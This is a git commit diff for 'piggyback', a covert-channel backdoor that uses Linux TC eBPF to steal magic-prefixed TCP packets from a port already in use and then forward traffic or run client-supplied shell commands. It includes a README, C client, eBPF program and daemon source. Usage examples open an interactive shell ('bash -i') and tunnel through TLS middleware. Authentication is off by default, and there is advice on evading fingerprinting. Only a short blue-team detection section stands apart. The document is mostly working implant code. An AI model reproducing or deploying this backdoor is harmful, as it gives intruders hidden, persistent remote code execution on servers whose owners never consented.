piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison.

piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from
  getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED,
  TRUSTED_PUBKEY.

  pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0,
   sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header.

  README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the
  operator looks it up. Removed all the wrong advice about changing it.
This commit is contained in:
Dominik Moritz Roth 2026-04-04 18:12:47 +02:00
parent abd95bf366
commit 50c9b4df35
4 changed files with 412 additions and 454 deletions

134
README.md
View File

@ -1,26 +1,27 @@
# piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
steals matching ones before the application sees them, and forwards or executes them.
Normal traffic is unaffected. Zero changes to existing services.
steals matching ones before the application sees them, forwards or executes per the
client's instruction. Normal traffic is unaffected. Zero changes to existing services.
```
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header][payload] magic match?
│ [MAGIC][header] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress
│ inside │ (inner bytes fwd) magic match? → same as Mode 1
│ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
│ inside │ (inner bytes fwd) → same as Mode 1
```
Mode 2 is identical server-side. Client establishes real TLS with a configurable
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface.
Mode 2 is identical server-side. Client sends a real TLS handshake toward
middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works.
Middleware decrypts and forwards inner bytes to the plain TCP backend.
---
@ -41,45 +42,25 @@ sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodi
## Configuration
All config is compile-time. Edit the constants at the top of each file, then `make`.
Only two files need editing before compiling. Port must match in both.
### `piggyback.bpf.c` — eBPF kernel program
### `piggyback.bpf.c`
```c
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT)
#define PORTS_N 2
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
#define LISTEN_PORT 80 // port to intercept
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
```
### `piggyback.c` — server daemon
### `piggyback.c`
```c
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match eBPF PORTS array
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
#define VERBOSE 0
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
#define LISTEN_PORT 80 // must match piggyback.bpf.c
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature
#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
```
### `pb-client.c` — client
```c
#define SERVER_IP "1.2.3.4"
#define SERVER_PORT 80
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // required for MODE_TLS — change per engagement
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
#define TARGET_PORT 22
#define SHELL_CMD "bash" // (ACTION_SHELL)
```
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
Forward target, action, and target port are **not configured in the daemon**
they come from the client packet. The daemon has no idea where to forward until
a client tells it.
---
@ -89,62 +70,86 @@ All config is compile-time. Edit the constants at the top of each file, then `ma
make
```
### Generate Ed25519 keypair (for auth)
### Generate Ed25519 keypair (for authenticated mode)
```bash
make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target)
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → pass to pb-client with --key (never copy to target)
```
---
## Usage
### Server (target machine)
```bash
# Server (target machine)
sudo ./piggyback
```
# Client (operator machine)
./pb-client
### Client (operator machine)
```bash
# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222
# Then connect locally
# Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
# Then connect
ssh -p 2222 user@localhost
```
No CLI flags — all config is baked into the binary at compile time.
Full client options:
```
./pb-client <server_ip> <server_port> <local_port> [options]
--mode tcp|tls connection mode (default: tcp)
--sni <hostname> SNI for TLS — must match middleware virtual host config
--key <path> Ed25519 private key PEM (enables auth)
--action forward|shell (default: forward)
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
--cmd <command> shell command for --action shell (default: bash)
-v verbose
```
---
## Auth flow (AUTH_ENABLED=1)
1. `make keygen` — generate Ed25519 keypair
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon
3. Set `KEY_PATH` in `pb-client.c`, recompile client
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`)
2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon
3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine)
4. Client sends: `MAGIC` (6) + 80-byte signed header
5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
6. On pass: executes action from header
7. On fail: connection dropped silently
Signed header format (80 bytes):
Signed header format (80 bytes after MAGIC):
```
[0..7] unix timestamp, big-endian uint64
[8] action (0x01=forward, 0x02=shell)
[9..12] target IPv4 (forward) or zeros
[13..14] target port big-endian or zeros
[9..12] target IPv4
[13..14] target port big-endian
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes)
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
```
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host.
Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in
no-auth mode reads action+target and skips signature verification.
---
## Detection (Blue Team)
```bash
tc filter show dev eth0 ingress # TC eBPF filters on interface
tc filter show dev eth0 ingress # TC eBPF filters
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock)
bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
```
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
@ -154,12 +159,7 @@ on internet-facing interfaces.
## Known Limitations
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP;
IPv6 forward targets require header format extension
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry;
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
connect-back mode (works except behind strict NAT)
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
by per-connection eBPF state machine, but only within a 6-byte sliding window
per packet; edge cases with very small MSS possible
- **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP
- **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back
(works everywhere except strict NAT scenarios)

View File

@ -1,19 +1,23 @@
// pb-client.c — piggyback client
//
// All configuration is via compile-time constants below.
// Build: make Run: ./pb-client
// Usage:
// ./pb-client <server_ip> <server_port> <local_port> [options]
//
// Mode 1 (CLIENT_MODE = MODE_TCP):
// Plain TCP to server, sends MAGIC prefix, splices traffic.
// Options:
// --mode tcp|tls connection mode (default: tcp)
// --sni <hostname> SNI for TLS — must match middleware routing config
// --key <path> Ed25519 private key PEM (enables auth; required if daemon has AUTH_ENABLED=1)
// --action forward|shell what to do on the server (default: forward)
// --target <ip:port> forward target (default: 127.0.0.1:22)
// --cmd <command> shell command for --action shell (default: bash)
// -v verbose
//
// Mode 2 (CLIENT_MODE = MODE_TLS):
// Genuine TLS connection to middleware (SNI required).
// Middleware decrypts and forwards inner bytes to plain TCP backend.
// Server-side eBPF sees raw MAGIC as in Mode 1.
//
// Auth (KEY_PATH != ""):
// Sends Ed25519-signed 80-byte header after MAGIC.
// Required when daemon has AUTH_ENABLED=1.
// Examples:
// ./pb-client 1.2.3.4 80 2222
// ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.example.com
// ./pb-client 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22
// ./pb-client 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'id'
// ssh -p 2222 user@localhost
#include <stdio.h>
#include <stdlib.h>
@ -34,91 +38,87 @@
#include <openssl/evp.h>
#include <openssl/pem.h>
// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling.
#define SERVER_IP "1.2.3.4" // target server IP or hostname
#define SERVER_PORT 80 // target port
#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost)
// Connection mode
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // SNI hostname — required for MODE_TLS
// Auth — leave KEY_PATH "" to disable (no signed header sent)
// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon.
#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key)
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD)
#define TARGET_PORT 22 // forward target port (ACTION_FORWARD)
#define SHELL_CMD "bash" // shell command (ACTION_SHELL)
#define VERBOSE 0 // 1 = debug logging
// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
#define HEADER_LEN 80
#define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9
#define HDR_TARGET_PORT_OFF 13
#define HDR_SIG_OFF 16
#define HDR_MSG_LEN 20
#define ACTION_FORWARD 0x01
#define ACTION_SHELL 0x02
// ── Mode enum ─────────────────────────────────────────────────────────────────
typedef enum { MODE_TCP, MODE_TLS } mode_t;
typedef enum { MODE_TCP, MODE_TLS } client_mode_t;
// ── Config ────────────────────────────────────────────────────────────────────
// ── Globals ───────────────────────────────────────────────────────────────────
static struct {
char server_ip[256];
int server_port;
int local_port;
mode_t mode;
char sni[256];
char key_path[256];
int action;
char target_ip[64];
int target_port;
char cmd[1024];
int verbose;
} cfg = {
.mode = MODE_TCP,
.action = ACTION_FORWARD,
.target_ip = "127.0.0.1",
.target_port = 22,
.cmd = "bash",
};
static volatile int running = 1;
static SSL_CTX *ssl_ctx = NULL;
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
#define log_dbg(fmt, ...) do { if (cfg.verbose) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Abstract I/O over plain TCP or TLS ───────────────────────────────────────
// ── Abstract I/O ─────────────────────────────────────────────────────────────
struct conn { int fd; SSL *ssl; };
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
}
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static void conn_close(struct conn *c) {
if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
if (c->fd >= 0) { close(c->fd); c->fd = -1; }
}
// ── Bidirectional splice ──────────────────────────────────────────────────────
// ── Splice ────────────────────────────────────────────────────────────────────
static void splice_loop(int local_fd, struct conn *remote) {
int epfd = epoll_create1(0);
struct epoll_event ev, evs[2];
char buf[65536];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev);
ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
if (evs[i].data.fd == local_fd) {
ssize_t r = read(local_fd, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; }
ssize_t r = read(local_fd, buf, sizeof(buf)); if (r<=0) goto done;
for (ssize_t w=0; w<r;) { ssize_t s=conn_write(remote,buf+w,r-w); if(s<=0) goto done; w+=s; }
} else {
ssize_t r = conn_read(remote, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; }
ssize_t r = conn_read(remote, buf, sizeof(buf)); if (r<=0) goto done;
for (ssize_t w=0; w<r;) { ssize_t s=write(local_fd,buf+w,r-w); if(s<=0) goto done; w+=s; }
}
}
}
@ -126,38 +126,38 @@ done:
close(epfd);
}
// ── Ed25519 signed header ─────────────────────────────────────────────────────
// ── Build and send 80-byte header ─────────────────────────────────────────────
//
// Sends 80 bytes after MAGIC:
// [0..7] timestamp big-endian uint64
// [8] action
// [9..12] target IPv4 (ACTION_FORWARD) or zeros
// [13..14] target port big-endian or zeros
// [15] reserved
// [16..79] Ed25519 sig over bytes [0..15] + server_ip[4]
// Always sent after MAGIC. Without --key: timestamp=0, sig=zeros.
// Daemon reads action+target from header regardless of auth mode.
static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
uint8_t fields[16] = {0};
static int send_header(struct conn *remote, uint32_t server_ip_be) {
uint8_t hdr[HEADER_LEN] = {0};
// timestamp (zeros if no key — daemon in no-auth mode ignores it)
if (cfg.key_path[0]) {
uint64_t ts = (uint64_t)time(NULL);
for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; }
fields[8] = CLIENT_ACTION;
if (CLIENT_ACTION == ACTION_FORWARD) {
uint32_t tip = 0;
inet_pton(AF_INET, TARGET_IP, &tip);
memcpy(fields + 9, &tip, 4);
uint16_t tport = htons(TARGET_PORT);
memcpy(fields + 13, &tport, 2);
for (int i = 7; i >= 0; i--) { hdr[HDR_TIMESTAMP_OFF + i] = ts & 0xff; ts >>= 8; }
}
uint8_t msg[20];
memcpy(msg, fields, 16);
hdr[HDR_ACTION_OFF] = (uint8_t)cfg.action;
if (cfg.action == ACTION_FORWARD) {
uint32_t tip = 0;
inet_pton(AF_INET, cfg.target_ip, &tip);
memcpy(hdr + HDR_TARGET_IP_OFF, &tip, 4);
uint16_t tport = htons((uint16_t)cfg.target_port);
memcpy(hdr + HDR_TARGET_PORT_OFF, &tport, 2);
}
// Sign if key provided
if (cfg.key_path[0]) {
uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16);
memcpy(msg + 16, &server_ip_be, 4);
FILE *f = fopen(KEY_PATH, "r");
if (!f) { perror("fopen privkey"); return -1; }
FILE *f = fopen(cfg.key_path, "r");
if (!f) { perror("fopen key"); return -1; }
EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
fclose(f);
if (!pkey) { ERR_print_errors_fp(stderr); return -1; }
@ -170,27 +170,22 @@ static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
if (ctx) EVP_MD_CTX_free(ctx);
EVP_PKEY_free(pkey);
if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
memcpy(hdr + HDR_SIG_OFF, sig, 64);
}
uint8_t header[HEADER_LEN];
memcpy(header, fields, 16);
memcpy(header + 16, sig, 64);
if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) {
log_err("write auth header failed"); return -1;
if (conn_write(remote, hdr, HEADER_LEN) != HEADER_LEN) {
log_err("write header failed"); return -1;
}
return 0;
}
// ── Connect to server ─────────────────────────────────────────────────────────
// ── TCP connect ───────────────────────────────────────────────────────────────
static int tcp_connect(const char *host, int port) {
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
char port_str[8];
snprintf(port_str, sizeof(port_str), "%d", port);
char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
}
@ -217,50 +212,50 @@ static void *conn_thread(void *arg) {
struct conn remote = { .fd = -1, .ssl = NULL };
remote.fd = tcp_connect(SERVER_IP, SERVER_PORT);
remote.fd = tcp_connect(cfg.server_ip, cfg.server_port);
if (remote.fd < 0) goto done;
if (CLIENT_MODE == MODE_TLS) {
if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; }
if (cfg.mode == MODE_TLS) {
remote.ssl = SSL_new(ssl_ctx);
if (!remote.ssl) goto done;
SSL_set_fd(remote.ssl, remote.fd);
if (strlen(SNI) > 0)
SSL_set_tlsext_host_name(remote.ssl, SNI);
SSL_set_tlsext_host_name(remote.ssl, cfg.sni);
if (SSL_connect(remote.ssl) != 1) {
ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
}
log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl));
log_dbg("TLS: %s", SSL_get_cipher(remote.ssl));
}
// Send MAGIC
// MAGIC
if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
log_err("write magic failed"); goto done;
}
// Send signed header if auth enabled
if (strlen(KEY_PATH) > 0) {
// Header (always — carries action+target; signed if --key set)
{
uint32_t server_ip_be = 0;
struct addrinfo hints = { .ai_family = AF_INET };
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) {
if (getaddrinfo(cfg.server_ip, NULL, &hints, &res) == 0) {
server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
freeaddrinfo(res);
}
if (send_auth_header(&remote, server_ip_be) != 0) goto done;
log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION);
if (CLIENT_ACTION == ACTION_SHELL) {
size_t cmdlen = strlen(SHELL_CMD);
if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) {
log_err("write shell cmd failed"); goto done;
if (send_header(&remote, server_ip_be) != 0) goto done;
}
// Shell command follows header for ACTION_SHELL
if (cfg.action == ACTION_SHELL) {
size_t len = strlen(cfg.cmd);
if (conn_write(&remote, cfg.cmd, len) != (ssize_t)len) {
log_err("write cmd failed"); goto done;
}
}
log_info("connected [%s%s]",
CLIENT_MODE == MODE_TLS ? "TLS" : "TCP",
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "");
log_info("%s:%d [%s%s] action=%s",
cfg.server_ip, cfg.server_port,
cfg.mode == MODE_TLS ? "TLS" : "TCP",
cfg.key_path[0] ? " signed" : "",
cfg.action == ACTION_FORWARD ? "forward" : "shell");
splice_loop(local_fd, &remote);
@ -270,27 +265,86 @@ done:
return NULL;
}
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Usage ─────────────────────────────────────────────────────────────────────
static void usage(const char *prog) {
fprintf(stderr,
"Usage: %s <server_ip> <server_port> <local_port> [options]\n"
"\n"
" --mode tcp|tls (default: tcp)\n"
" --sni <hostname> SNI for TLS — must match middleware routing\n"
" --key <path> Ed25519 private key PEM (enables signed auth)\n"
" --action forward|shell (default: forward)\n"
" --target <ip:port> forward target (default: 127.0.0.1:22)\n"
" --cmd <command> shell command (default: bash)\n"
" -v verbose\n"
"\n"
" %s 1.2.3.4 80 2222\n"
" %s 1.2.3.4 443 2222 --mode tls --sni internal.corp.com\n"
" %s 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22\n"
" %s 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'bash -i'\n"
" ssh -p 2222 user@localhost\n",
prog, prog, prog, prog, prog);
}
// ── Main ──────────────────────────────────────────────────────────────────────
int main(void) {
if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) {
fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1;
int main(int argc, char **argv) {
int positional = 0;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--mode") && i+1 < argc) {
i++;
if (!strcmp(argv[i], "tcp")) cfg.mode = MODE_TCP;
else if (!strcmp(argv[i], "tls")) cfg.mode = MODE_TLS;
else { fprintf(stderr, "unknown mode: %s\n", argv[i]); return 1; }
} else if (!strcmp(argv[i], "--sni") && i+1 < argc) {
strncpy(cfg.sni, argv[++i], sizeof(cfg.sni)-1);
} else if (!strcmp(argv[i], "--key") && i+1 < argc) {
strncpy(cfg.key_path, argv[++i], sizeof(cfg.key_path)-1);
} else if (!strcmp(argv[i], "--action") && i+1 < argc) {
i++;
if (!strcmp(argv[i], "forward")) cfg.action = ACTION_FORWARD;
else if (!strcmp(argv[i], "shell")) cfg.action = ACTION_SHELL;
else { fprintf(stderr, "unknown action: %s\n", argv[i]); return 1; }
} else if (!strcmp(argv[i], "--target") && i+1 < argc) {
i++;
char *colon = strrchr(argv[i], ':');
if (!colon) { fprintf(stderr, "--target needs ip:port\n"); return 1; }
*colon = '\0';
strncpy(cfg.target_ip, argv[i], sizeof(cfg.target_ip)-1);
cfg.target_port = atoi(colon+1);
} else if (!strcmp(argv[i], "--cmd") && i+1 < argc) {
strncpy(cfg.cmd, argv[++i], sizeof(cfg.cmd)-1);
} else if (!strcmp(argv[i], "-v")) {
cfg.verbose = 1;
} else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) {
usage(argv[0]); return 0;
} else if (argv[i][0] != '-') {
switch (positional++) {
case 0: strncpy(cfg.server_ip, argv[i], sizeof(cfg.server_ip)-1); break;
case 1: cfg.server_port = atoi(argv[i]); break;
case 2: cfg.local_port = atoi(argv[i]); break;
default: fprintf(stderr, "unexpected: %s\n", argv[i]); return 1;
}
} else {
fprintf(stderr, "unknown option: %s\n", argv[i]); return 1;
}
}
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
signal(SIGPIPE, SIG_IGN);
if (positional < 3) { usage(argv[0]); return 1; }
if (cfg.mode == MODE_TLS && !cfg.sni[0]) {
fprintf(stderr, "[-] --sni required for --mode tls\n"); return 1;
}
signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
// OpenSSL init (needed for key loading even in TCP mode)
SSL_library_init();
SSL_load_error_strings();
OpenSSL_add_all_algorithms();
if (CLIENT_MODE == MODE_TLS) {
if (cfg.mode == MODE_TLS) {
ssl_ctx = SSL_CTX_new(TLS_client_method());
if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
@ -303,31 +357,26 @@ int main(void) {
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
struct sockaddr_in laddr = {
.sin_family = AF_INET,
.sin_port = htons(LOCAL_PORT),
.sin_port = htons(cfg.local_port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1;
log_err("bind port %d: %s", cfg.local_port, strerror(errno)); return 1;
}
listen(listen_fd, 16);
log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]",
LOCAL_PORT, SERVER_IP, SERVER_PORT,
CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP",
CLIENT_MODE == MODE_TLS ? SNI : "",
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "",
strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : "");
log_info("listening on 127.0.0.1:%d → %s:%d [%s%s]",
cfg.local_port, cfg.server_ip, cfg.server_port,
cfg.mode == MODE_TLS ? "TLS" : "TCP",
cfg.key_path[0] ? " auth=ed25519" : "");
while (running) {
struct sockaddr_in caddr;
socklen_t clen = sizeof(caddr);
struct sockaddr_in caddr; socklen_t clen = sizeof(caddr);
int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
if (cfd < 0) { if (running) perror("accept"); continue; }
struct conn_args *a = malloc(sizeof(*a));
if (!a) { close(cfd); continue; }
a->local_fd = cfd;
pthread_t tid;
pthread_create(&tid, NULL, conn_thread, a);
pthread_detach(tid);

View File

@ -29,8 +29,7 @@
// ── Configuration ─────────────────────────────────────────────────────────────
#define PORTS { 80, 8080 }
#define PORTS_N 2
#define LISTEN_PORT 80 // must match LISTEN_PORT in piggyback.c
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
@ -110,13 +109,7 @@ static __always_inline void inc_stat(__u32 idx) {
// ── Helpers ───────────────────────────────────────────────────────────────────
static __always_inline int port_watched(__u16 port_be) {
__u16 ports[] = PORTS;
__u16 p = bpf_ntohs(port_be);
if (PORTS_N > 0 && p == ports[0]) return 1;
if (PORTS_N > 1 && p == ports[1]) return 1;
if (PORTS_N > 2 && p == ports[2]) return 1;
if (PORTS_N > 3 && p == ports[3]) return 1;
return 0;
return bpf_ntohs(port_be) == LISTEN_PORT;
}
static __always_inline __u8 magic_at(__u8 idx) {

View File

@ -1,9 +1,9 @@
// piggyback.c — userspace daemon
//
// Loads TC eBPF + sk_lookup programs, registers daemon socket,
// polls ring buffer, verifies Ed25519 signatures, dispatches connections.
// Loads TC eBPF + sk_lookup programs, accepts magic connections,
// dispatches to forward target or shell — all specified by the client packet.
// Daemon has no forward-target config; it comes from the signed header.
//
// All configuration is via compile-time constants below.
// Build: make Run: sudo ./piggyback
#include <stdio.h>
@ -17,6 +17,7 @@
#include <inttypes.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <ifaddrs.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/epoll.h>
@ -30,16 +31,12 @@
// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling. Run `make keygen` to generate a keypair.
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0"
#define IFACE "" // "" = auto-detect default-route interface; or e.g. "eth0"
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
#define VERBOSE 0 // 1 = debug logging
// Ed25519 auth.
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`.
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
// Ed25519 auth. AUTH_ENABLED=0: accept any magic packet (no sig check).
// AUTH_ENABLED=1: require valid signed header. Run `make keygen`, set TRUSTED_PUBKEY.
#define AUTH_ENABLED 0
#define TRUSTED_PUBKEY { \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
@ -48,12 +45,13 @@
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
}
// ── Shared constants (must match piggyback.bpf.c) ────────────────────────────
// ── Shared constants (must match piggyback.bpf.c and pb-client.c) ─────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
// Header field offsets
#define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9
@ -83,7 +81,7 @@ struct event {
// ── Globals ───────────────────────────────────────────────────────────────────
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup
static uint8_t server_ip_bytes[4];
static volatile int running = 1;
static unsigned int ifindex = 0;
@ -91,7 +89,13 @@ static char iface_name[64];
static struct bpf_object *obj = NULL;
static int accept_fd = -1;
// ── Interface auto-detection ──────────────────────────────────────────────────
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
